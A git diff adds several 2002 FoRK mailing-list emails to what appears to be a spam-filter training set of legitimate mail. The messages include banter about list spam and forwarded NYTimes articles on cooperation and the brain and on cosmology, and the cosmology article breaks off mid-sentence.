[212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:24:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MLPT431810 for ; + Mon, 22 Jul 2002 22:25:29 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 77E842940E2; Mon, 22 Jul 2002 14:11:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 3E20B2940E0 for + ; Mon, 22 Jul 2002 14:10:26 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Mon, 22 Jul 2002 21:19:18 -08:00 +Message-Id: <3D3C76D6.2090200@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: "Adam L. Beberg" +Cc: fork@spamassassin.taint.org +Subject: Re: spam maps +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 14:19:18 -0700 + +Adam L. Beberg wrote: +> Did someone invert the spam filters? I'm getting almost nothing but spam on +> fork now... + +SPAM ASSASSIN. + +Someone of your highly developed intelligence should have no problems +installing such a well-known and commonly used program. + +I personally still think the solution is to restrict posting to members. +But I guess my brown shirt is showing again. + +- Joe + +P.S. I hate everybody. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00809.82dca2e58adfc50ae70461281f0eebb3 b/bayes/spamham/easy_ham_2/00809.82dca2e58adfc50ae70461281f0eebb3 new file mode 100644 index 0000000..3f414ed --- /dev/null +++ b/bayes/spamham/easy_ham_2/00809.82dca2e58adfc50ae70461281f0eebb3 @@ -0,0 +1,57 @@ +From fork-admin@xent.com Mon Jul 22 22:29:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20AA0440C8 + for ; Mon, 22 Jul 2002 17:29:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:29:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MLTV400335 for ; + Mon, 22 Jul 2002 22:29:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DD6EA2940E9; Mon, 22 Jul 2002 14:11:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm4-26.sba1.netlojix.net + [207.71.218.218]) by xent.com (Postfix) with ESMTP id 378692940E2 for + ; Mon, 22 Jul 2002 14:10:27 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id OAA04178; + Mon, 22 Jul 2002 14:26:32 -0700 +Message-Id: <200207222126.OAA04178@maltesecat> +To: fork@spamassassin.taint.org +Subject: deja vu? +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 14:26:31 -0700 + + +Hmmm. Rumsfeld and Cheney are in +the white house, the president says +he's not a crook (and no, you can't +have those tapes), and the market is +melting down. + +Anyone want to go to Andy Capps for +a beer? I hear they have this new +game called "Pong"... + +Have a nice day, +-Dave + +Anyone seen Elvis lately? + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00810.c6ed8e1050ae1d68001f4da5f2cd100a b/bayes/spamham/easy_ham_2/00810.c6ed8e1050ae1d68001f4da5f2cd100a new file mode 100644 index 0000000..86d3d94 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00810.c6ed8e1050ae1d68001f4da5f2cd100a @@ -0,0 +1,58 @@ +From fork-admin@xent.com Mon Jul 22 22:35:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 125F5440C8 + for ; Mon, 22 Jul 2002 17:35:15 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:35:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6MLXh400464 for ; + Mon, 22 Jul 2002 22:33:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3E3982940E4; Mon, 22 Jul 2002 14:21:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id 2067E2940B5 for + ; Mon, 22 Jul 2002 14:20:20 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g6MLRxr04693; Mon, 22 Jul 2002 17:27:59 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: Re: spam maps +From: Luis Villa +To: fork@spamassassin.taint.org +In-Reply-To: <3D3C76D6.2090200@barrera.org> +References: + <3D3C76D6.2090200@barrera.org> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8.99 +Message-Id: <1027373278.4292.23.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 22 Jul 2002 17:27:58 -0400 + +On Mon, 2002-07-22 at 17:19, Joseph S. Barrera III wrote: +> - Joe +> +> P.S. I hate everybody. + +So you /are/ beberg posting under another name. Finally proof of what +we've known all along. ;) +Luis +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00811.f861ac99dbc361bdd3883d0f5d1d93e3 b/bayes/spamham/easy_ham_2/00811.f861ac99dbc361bdd3883d0f5d1d93e3 new file mode 100644 index 0000000..6952bf4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00811.f861ac99dbc361bdd3883d0f5d1d93e3 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Tue Jul 23 02:32:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9FC1E440C8 + for ; Mon, 22 Jul 2002 21:32:15 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 02:32:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N1Vh414915 for ; + Tue, 23 Jul 2002 02:31:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0AD582940A2; Mon, 22 Jul 2002 18:21:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id 5B0B2294098 for ; Mon, 22 Jul 2002 18:20:50 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Tue, 23 Jul 2002 01:29:11 -08:00 +Message-Id: <3D3CB167.7050605@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Luis Villa +Cc: fork@spamassassin.taint.org +Subject: Re: spam maps +References: + <3D3C76D6.2090200@barrera.org> + <1027373278.4292.23.camel@10-0-0-223.boston.ximian.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 18:29:11 -0700 + +Luis Villa wrote: + > So you /are/ beberg posting under another name. + > Finally proof of what we've known all along. ;) + +That'll come to a shock to Geege, I'm sure... + +- Joe + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00812.52239718d2ff1d0388963af6c7d0fcc6 b/bayes/spamham/easy_ham_2/00812.52239718d2ff1d0388963af6c7d0fcc6 new file mode 100644 index 0000000..3e0d71b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00812.52239718d2ff1d0388963af6c7d0fcc6 @@ -0,0 +1,311 @@ +From fork-admin@xent.com Tue Jul 23 10:21:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 542E7440C9 + for ; Tue, 23 Jul 2002 05:21:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 10:21:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N9Fl405339 for ; + Tue, 23 Jul 2002 10:15:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A9DF82940A9; Tue, 23 Jul 2002 02:05:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ms4.lga2.nytimes.com (ms4.lga2.nytimes.com [64.15.247.148]) + by xent.com (Postfix) with ESMTP id E247C2940A5 for ; + Tue, 23 Jul 2002 02:04:40 -0700 (PDT) +Received: from email5.lga2.nytimes.com (email5 [10.0.0.170]) by + ms4.lga2.nytimes.com (Postfix) with SMTP id 2D23C5A5B3 for ; + Tue, 23 Jul 2002 05:17:48 -0400 (EDT) +Received: by email5.lga2.nytimes.com (Postfix, from userid 202) id + 68A5258A4D; Tue, 23 Jul 2002 05:10:40 -0400 (EDT) +Reply-To: khare@alumni.caltech.edu +From: khare@alumni.caltech.edu +To: fork@spamassassin.taint.org +Subject: NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate +Message-Id: <20020723091040.68A5258A4D@email5.lga2.nytimes.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 05:10:40 -0400 (EDT) + +This article from NYTimes.com +has been sent to you by khare@alumni.caltech.edu. + + +Axelrod, eh? "the E.coli of social psychology"? Nice to see our old friend still going strong -- Prisoner's Dilemma is old enough to qualify for AARP membership! + +Regarding experimental design, it is interesting that 1) they used an all-female panel and 2) they included a mix of ages, from 20-60 and 3) they used humans, confederates, computers as well as imitations. + +The last two paragraphs are a rare sign of editorialized humor by an NY Times bylined writer. Even still, note the very large fig leaf -- the CEO joke is introduced in an on-the-record quote. + +Not that we're talking about anything nearly as colorful as the Economist :-) + +RK + +khare@alumni.caltech.edu + + +Why We're So Nice: We're Wired to Cooperate + +July 23, 2002 +By NATALIE ANGIER + + + + + + +What feels as good as chocolate on the tongue or money in +the bank but won't make you fat or risk a subpoena from the +Securities and Exchange Commission? + +Hard as it may be to believe in these days of infectious +greed and sabers unsheathed, scientists have discovered +that the small, brave act of cooperating with another +person, of choosing trust over cynicism, generosity over +selfishness, makes the brain light up with quiet joy. + +Studying neural activity in young women who were playing a +classic laboratory game called the Prisoner's Dilemma, in +which participants can select from a number of greedy or +cooperative strategies as they pursue financial gain, +researchers found that when the women chose mutualism over +"me-ism," the mental circuitry normally associated with +reward-seeking behavior swelled to life. + +And the longer the women engaged in a cooperative strategy, +the more strongly flowed the blood to the pathways of +pleasure. + +The researchers, performing their work at Emory University +in Atlanta, used magnetic resonance imaging to take what +might be called portraits of the brain on hugs. + +"The results were really surprising to us," said Dr. +Gregory S. Berns, a psychiatrist and an author on the new +report, which appears in the current issue of the journal +Neuron. "We went in expecting the opposite." + +The researchers had thought that the biggest response would +occur in cases where one person cooperated and the other +defected, when the cooperator might feel that she was being +treated unjustly. + +Instead, the brightest signals arose in cooperative +alliances and in those neighborhoods of the brain already +known to respond to desserts, pictures of pretty faces, +money, cocaine and any number of licit or illicit delights. + + +"It's reassuring," Dr. Berns said. "In some ways, it says +that we're wired to cooperate with each other." + +The study is among the first to use M.R.I. technology to +examine social interactions in real time, as opposed to +taking brain images while subjects stared at static +pictures or thought-prescribed thoughts. + +It is also a novel approach to exploring an ancient +conundrum, why are humans so, well, nice? Why are they +willing to cooperate with people whom they barely know and +to do good deeds and to play fair a surprisingly high +percentage of the time? + +Scientists have no trouble explaining the evolution of +competitive behavior. But the depth and breadth of human +altruism, the willingness to forgo immediate personal gain +for the long-term common good, far exceeds behaviors seen +even in other large-brained highly social species like +chimpanzees and dolphins, and it has as such been difficult +to understand. + +"I've pointed out to my students how impressive it is that +you can take a group of young men and women of prime +reproductive age, have them come into a classroom, sit down +and be perfectly comfortable and civil to each other," said +Dr. Peter J. Richerson, a professor of environmental +science and policy at the University of California at Davis +and an influential theorist in the field of cultural +evolution. "If you put 50 male and 50 female chimpanzees +that don't know each other into a lecture hall, it would be +a social explosion." + +Dr. Ernst Fehr of the University of Zurich and colleagues +recently presented findings on the importance of punishment +in maintaining cooperative behavior among humans and the +willingness of people to punish those who commit crimes or +violate norms, even when the chastisers take risks and gain +nothing themselves while serving as ad hoc police. + +In her survey of the management of so-called commons in +small-scale communities where villagers have the right, for +example, to graze livestock on commonly held land, Dr. +Elinor Ostrom of Indiana University found that all +communities have some form of monitoring to gird against +cheating or using more than a fair share of the resource. + +In laboratory games that mimic small-scale commons, Dr. +Richerson said, 20 to 30 percent have to be coerced by a +threat of punishment to cooperate. + +Fear alone is not highly likely to inspire cooperative +behavior to the degree observed among humans. If research +like Dr. Fehr's shows the stick side of the equation, the +newest findings present the neural carrot - people +cooperate because it feels good to do it. + +In the new findings, the researchers studied 36 women from +20 to 60 years old, many of them students at Emory and +inspired to participate by the promise of monetary rewards. +The scientists chose an all-female sample because so few +brain-imaging studies have looked at only women. Most have +been limited to men or to a mixture of men and women. + +But there is a vast body of non- imaging data that rely on +using the Prisoner's Dilemma. + +"It's a simple and elegant model for reciprocity," said Dr. +James K. Rilling, an author on the Neuron paper who is at +Princeton. "It's been referred to as the E. coli of social +psychology." + +>>From past results, the researchers said, one can assume +that neuro- imaging studies of men playing the game would +be similar to their new findings with women. + +The basic structure of the trial had two women meet each +other briefly ahead of time. One was placed in the scanner +while the other remained outside the scanning room. The two +interacted by computer, playing about 20 rounds of the +game. In every round, each player pressed a button to +indicate whether she would "cooperate" or "defect." Her +answer would be shown on-screen to the other player. + +The monetary awards were apportioned after each round. If +one player defected and the other cooperated, the defector +earned $3 and the cooperator nothing. If both chose to +cooperate, each earned $2. If both opted to defect, each +earned $1. + +Hence, mutual cooperation from start to finish was a far +more profitable strategy, at $40 a woman, than complete +mutual defection, which gave each $20. + +The risk that a woman took each time she became greedy for +a little bit more was that the cooperative strategy would +fall apart and that both would emerge the poorer. + +In some cases, both women were allowed to pursue any +strategy that they chose. In other cases, the non- scanned +woman would be a "confederate" with the researchers, +instructed, unbeknown to the scanned subject, to defect +after three consecutive rounds of cooperation, the better +to keep things less rarefied and pretty and more lifelike +and gritty. + +In still other experiments, the woman in the scanner played +a computer and knew that her partner was a machine. In +other tests, women played a computer but thought that it +was a human. + +The researchers found that as a rule the freely +strategizing women cooperated. Even occasional episodes of +defection, whether from free strategizers or confederates, +were not necessarily fatal to an alliance. + +"The social bond could be reattained easily if the defector +chose to cooperate in the next couple of rounds," another +author of the report, Dr. Clinton D. Kilts, said, "although +the one who had originally been `betrayed' might be wary +from then on." + +As a result of the episodic defections, the average +per-experiment take for the participants was in the $30's. +"Some pairs, though, got locked into mutual defection," Dr. +Rilling said. + +Analyzing the scans, the researchers found that in rounds +of cooperation, two broad areas of the brain were +activated, both rich in neurons able to respond to +dopamine, the brain chemical famed for its role in +addictive behaviors. + +One is the anteroventral striatum in the middle of the +brain right above the spinal cord. Experiments with rats +have shown that when electrodes are placed in the striatum, +the animals will repeatedly press a bar to stimulate the +electrodes, apparently receiving such pleasurable feedback +that they will starve to death rather than stop pressing +the bar. + +Another region activated during cooperation was the +orbitofrontal cortex in the region right above the eyes. In +addition to being part of the reward-processing system, Dr. +Rilling said, it is also involved in impulse control. + +"Every round, you're confronted with the possibility of +getting an extra dollar by defecting," he said. "The choice +to cooperate requires impulse control." + +Significantly, the reward circuitry of the women was +considerably less responsive when they knew that they were +playing against a computer. The thought of a human bond, +but not mere monetary gain, was the source of contentment +on display. + +In concert with the imaging results, the women, when asked +afterward for summaries of how they felt during the games, +often described feeling good when they cooperated and +expressed positive feelings of camaraderie toward their +playing partners. + +Assuming that the urge to cooperate is to some extent +innate among humans and reinforced by the brain's feel-good +circuitry, the question of why it arose remains unclear. +Anthropologists have speculated that it took teamwork for +humanity's ancestors to hunt large game or gather difficult +plant foods or rear difficult children. So the capacity to +cooperate conferred a survival advantage on our forebears. + +Yet as with any other trait, the willingness to abide by +the golden rule and to be a good citizen and not cheat and +steal from one's neighbors is not uniformly distributed. + +"If we put some C.E.O.'s in here, I'd like to see how they +respond," Dr. Kilts said. "Maybe they wouldn't find a +positive social interaction rewarding at all." + +A Prisoner's Dilemma indeed. + + +http://www.nytimes.com/2002/07/23/health/psychology/23COOP.html?ex=1028415440&ei=1&en=2face896773fa4ea + + + +HOW TO ADVERTISE +--------------------------------- +For information on advertising in e-mail newsletters +or other creative advertising opportunities with The +New York Times on the Web, please contact +onlinesales@nytimes.com or visit our online media +kit at http://www.nytimes.com/adinfo + +For general information about NYTimes.com, write to +help@nytimes.com. + +Copyright 2002 The New York Times Company +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00813.6598e1ef9134cf77f48bca239e4ba2dc b/bayes/spamham/easy_ham_2/00813.6598e1ef9134cf77f48bca239e4ba2dc new file mode 100644 index 0000000..76afec7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00813.6598e1ef9134cf77f48bca239e4ba2dc @@ -0,0 +1,820 @@ +From fork-admin@xent.com Tue Jul 23 10:38:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 235C1440C9 + for ; Tue, 23 Jul 2002 05:38:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 10:38:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N9Vw406519 for ; + Tue, 23 Jul 2002 10:31:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 51FBC2940A5; Tue, 23 Jul 2002 02:21:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ms4.lga2.nytimes.com (ms4.lga2.nytimes.com [64.15.247.148]) + by xent.com (Postfix) with ESMTP id 5F8F029409C for ; + Tue, 23 Jul 2002 02:20:41 -0700 (PDT) +Received: from email4.lga2.nytimes.com (email4 [10.0.0.169]) by + ms4.lga2.nytimes.com (Postfix) with ESMTP id AC7A05A4E2 for + ; Tue, 23 Jul 2002 05:33:48 -0400 (EDT) +Received: by email4.lga2.nytimes.com (Postfix, from userid 202) id + 59B20C403; Tue, 23 Jul 2002 05:23:43 -0400 (EDT) +Reply-To: khare@alumni.caltech.edu +From: khare@alumni.caltech.edu +To: fork@spamassassin.taint.org +Subject: NYTimes.com Article: In the Beginning ... +Message-Id: <20020723092343.59B20C403@email4.lga2.nytimes.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 05:23:43 -0400 (EDT) + +This article from NYTimes.com +has been sent to you by khare@alumni.caltech.edu. + + +I'm sure that at the end of the universe, they'll still only find Douglas Adams, calmly munching away on his mooburger :-) + +The prospect of expansion so rapid that the night sky empties out because other galaxies are simply *outside* our light cone -- ??!? -- is really chilling. + +Puts comm latency in a whole new perspective... what if, in the future, processors go so fast there *is* no network? Or, at least, TCP segments would arrive so rarely they would seem as inscrutable as commandments from the heavens... + +Rohit + +khare@alumni.caltech.edu + + +In the Beginning ... + +July 23, 2002 +By DENNIS OVERBYE + + + + + + +It has always been easy to make fun of cosmologists, +confined to a dust mote lost in space, pronouncing judgment +on the fate of the universe or the behavior of galaxies +billions of light-years away, with only a few scraps of +light as evidence. + +"Cosmologists are often wrong," the Russian physicist Lev +Landau put it, "but never in doubt." + +For most of the 20th century, cosmology seemed less a +science than a religious war over, say, whether the +universe had a beginning, in a fiery Big Bang billions of +years ago, or whether it exists eternally in the so-called +Steady State. + + + +In the last few years, however, a funny thing has happened. +Cosmologists are beginning to agree with one another. +Blessed with new instruments like the Hubble Space +Telescope and other space-based observatories, a new +generation of their giant cousins on the ground and +ever-faster computer networks, cosmology is entering "a +golden age" in which data are finally outrunning +speculation. + +"The rate at which we are learning and discovering new +things is just extraordinary," said Dr. Charles Bennett, an +astronomer at the Goddard Space Flight Center in Greenbelt, +Md. + +As a result, cosmologists are beginning to converge on what +they call a "standard model" of the universe that is +towering in its ambition. It purports to trace, at least in +broad strokes, cosmic history from the millisecond after +time began, when the universe was a boiling stew of energy +and subatomic particles, through the formation of atoms, +stars, galaxies and planets to the vast, dilute, dark +future in which all of these will have died. + +The universe, the cosmologists say, was born 14 billion +years ago in the Big Bang. Most of its material remains +resides in huge clouds of invisible so-called dark matter, +perhaps elementary particles left over from the primordial +explosion and not yet identified. + +Within these invisible clouds, the glittery lights in the +sky that have defined creation for generations of humans +are swamped, like flecks of foam on a rolling sea. A good +case can be made, scientists now agree, that the universe +will go on expanding forever. + +In fact, recent observations have suggested that the +expansion of the universe is speeding up over cosmic time, +under the influence of a "dark energy" even more mysterious +than dark matter. + +Recently, a group of astronomers led by Dr. William +Percival at the University of Edinburgh combined data from +a variety of observations to compile, based on the simplest +theoretical model, what they say is the most precise +enumeration yet of the parameters that cosmologists have +been fighting about for all these decades. + +The universe, they calculated, is 13.89 billion years old, +plus or minus half a billion years. Only 4.8 percent of it +is made of ordinary matter. Matter of all types, known and +unknown, luminous and dark, accounts for just 27.5 percent. +The rest of creation, 72.5 percent, is the mysterious dark +energy, they reported in a paper submitted last month to +The Monthly Notices of the Royal Astronomical Society. + +It is a picture that in some ways is surprisingly simple, +satisfying long-held theoretical prejudices about how the +universe should be designed. Continued agreement with +coming experiments may mean that science is approaching the +end of a "great program" of cosmological tests that began +in the 1930's, Dr. P. J. E. Peebles of Princeton and Dr. +Bharat Ratra of Kansas State University said in the draft +of a coming article for The Reviews of Modern Physics. + +In other ways this new dark universe is utterly baffling, a +road map to new mysteries. Dr. Marc Davis, a cosmologist at +the University of California at Berkeley, called it "a +universe chock full of exotics that don't make sense to +anybody." + +Moreover there are some questions that scientists still do +not know how to ask, let alone answer, scientifically. Was +there anything before the Big Bang? Is there a role for +life in the cosmos? Why is there something rather than +nothing at all? Will we ever know? + +"We know much, but we still understand very little," said +Dr. Michael Turner, a cosmologist at the University of +Chicago. + +The Big Question + +Expanding Forever, +Or Big Crunch? + +The dim caves of Lascaux, the plains of +Stonehenge and the dreamtime tales of Australian aborigines +all testify to the need to explain the world and existence. +This quest took its present form in 1917. That was when +Albert Einstein took his new general theory of relativity, +which explained how matter and energy warp space-time to +produce gravity, and applied it to the universe. + +Einstein discovered that the cosmos as his theory described +it would be unstable, prone to collapse under its own +gravity. Astronomers, however, were sure that the universe +was stable. So Einstein added a fudge factor that he called +the cosmological constant to his equations. It acted as a +long-range repulsive force to counterbalance gravity. + +In 1929, the astronomer Edwin Hubble discovered that the +universe was expanding. The sky was full of distant +galaxies all rushing away from us and one another, as if +propelled by what the British astronomer Dr. Fred Hoyle +later called derisively a "big bang." The universe was not +stable and, thus, did not require counterbalancing. +Einstein abandoned his constant, referring to it as his +biggest blunder. But it would return to haunt cosmologists, +and the universe. + +Hoyle's term stuck, and the notion of an explosive genesis +became orthodoxy in 1965, when Dr. Arno Penzias and Dr. +Robert Wilson, radio astronomers at Bell Laboratories, +discovered a faint uniform radio glow that pervaded the +sky. It was, cosmologists concluded, the fading remnant of +the primordial fireball itself. + +Relieved of their fudge factor, the equations describing +Einstein's universe were simple. Dr. Allan Sandage, the +Carnegie Observatories astronomer, once called cosmology +"the search for two numbers" - one, the Hubble constant, +telling how fast the universe is expanding, and the other +telling how fast the expansion is slowing, and thus whether +the universe will expand forever or not. + +The second number, known as the deceleration parameter, +indicated how much the cosmos had been warped by the +density of its contents. In a high-density universe, space +would be curved around on itself like a ball. Such a +universe would eventually stop expanding and fall back +together in a big crunch that would extinguish space and +time, as well as the galaxies and stars that inhabit them. +A low-density universe, on the other hand, would have an +opposite or "open" curvature like a saddle, harder to +envision, and would expand forever. + +In between with no overall warpage at all was a +"Goldilocks" universe with just the right density to expand +forever but more and more slowly, so that after an infinite +time it would coast to a stop. This was a "flat" universe +in the cosmological parlance, and to many theorists the +simplest and most mathematically beautiful solution of all. + + +But the sky did not yield those cosmic numbers easily, even +with the help of the 200-inch Hale telescope on Palomar +Mountain in Southern California, dedicated in 1948, which +had been built largely for that task. Dr. Hubble wrote of +measuring shadows and searching "among ghostly errors of +measurement for landmarks that are scarcely more +substantial." + +The Dark Side + +Invisible Matter +Molds Galaxies + + +It was not till the mid-70's, a +quarter-century after the Palomar giant began operating, +that groups of astronomers reached the tentative conclusion +that the universe they could see - stars, gas, planets and +galaxies - did not have nearly enough gravitational oomph +to stop the cosmic expansion. + +"So the universe will continue to expand forever and +galaxies will get farther and farther apart, and things +will just die," Dr. Sandage said at the time. + +But the Great Argument was just beginning. Apparently there +was a lot of the universe that astronomers could not see. +The stars and galaxies, were moving as if immersed in the +gravity of giant invisible clouds of so-called dark matter +- "missing matter" the Swiss astronomer Dr. Fritz Zwicky +labeled it in the 1930's. + +Many galaxies, for example, are rotating so fast that they +would fly apart unless they were being reined in by the +gravity of halos of dark matter, according to pioneering +observations by Dr. Vera Rubin of the Carnegie Institution +of Washington and her colleagues. Her measurements +indicated that these dark halos outweighed the visible +galaxies themselves from 5 to 10 times. But there could be +even more dark matter farther out in space, perhaps enough +to stop the expansion of the universe, eventually, some +theorists suggested. Luminous matter, the Darth Vaders of +the sky said, is like the snow on mountaintops. + +But what is the dark matter? While some of it is gas or +dark dim objects like stars and planets, cosmologists +speculate that most of it is subatomic particles left over +from the Big Bang. + +Many varieties of these particles are predicted by theories +of high-energy physics. But their existence has not been +confirmed or detected in particle accelerators. + +"We theorists can invent all sorts of garbage to fill the +universe," Dr. Sheldon Glashow, a Harvard physicist and +Nobel laureate, told a gathering on dark matter in 1981. + +Collectively known as WIMP's, for weakly interacting +massive particles, such particles would not respond to +electromagnetism, the force responsible for light, and thus +would be unable to radiate or reflect light. They would +also be relatively slow-moving, or "cold" in physics +jargon, and thus also go by the name of cold dark matter. + +As Earth in its travels passed through the dark-matter +cloud that presumably envelops the Milky Way, the particles +would shoot through our bodies, rarely leaving a trace, +like moonlight through a window. + +But the collective gravity of such particles, cosmologists +say, would shape the cosmos and its contents. + +Gathering along the fault lines laid down by random +perturbations of density in the early universe, dark matter +would congeal into clouds with about the mass of 100,000 +Suns. The ordinary matter that was mixed in with it would +cool and fall to the centers of the clouds and light up as +stars. + +The clouds would then attract other clouds. Through a +series of mergers over billions of years, smaller clouds +would assemble into galaxies, and the galaxies would then +assemble themselves into clusters of thousands of galaxies, +and so forth. + +Using the Hubble and other telescopes as time machines - +light travels at a finite speed, so the farther out +astronomers look the farther back in time they see - +cosmologists have begun to confirm that the universe did +assemble itself from the "bottom up," as the dark matter +model predicts. + +Last year, two teams of astronomers reported seeing the +first stars burning their way out of the cloudy aftermath +of the Big Bang, when the universe was only 900 million +years old. The bulk of galaxy formation occurred when the +universe was a half to a quarter its present age, +cosmologists say. + +"The big news in the last decade is that even half a +universe ago the universe looked pretty different," said +Dr. Alan Dressler of 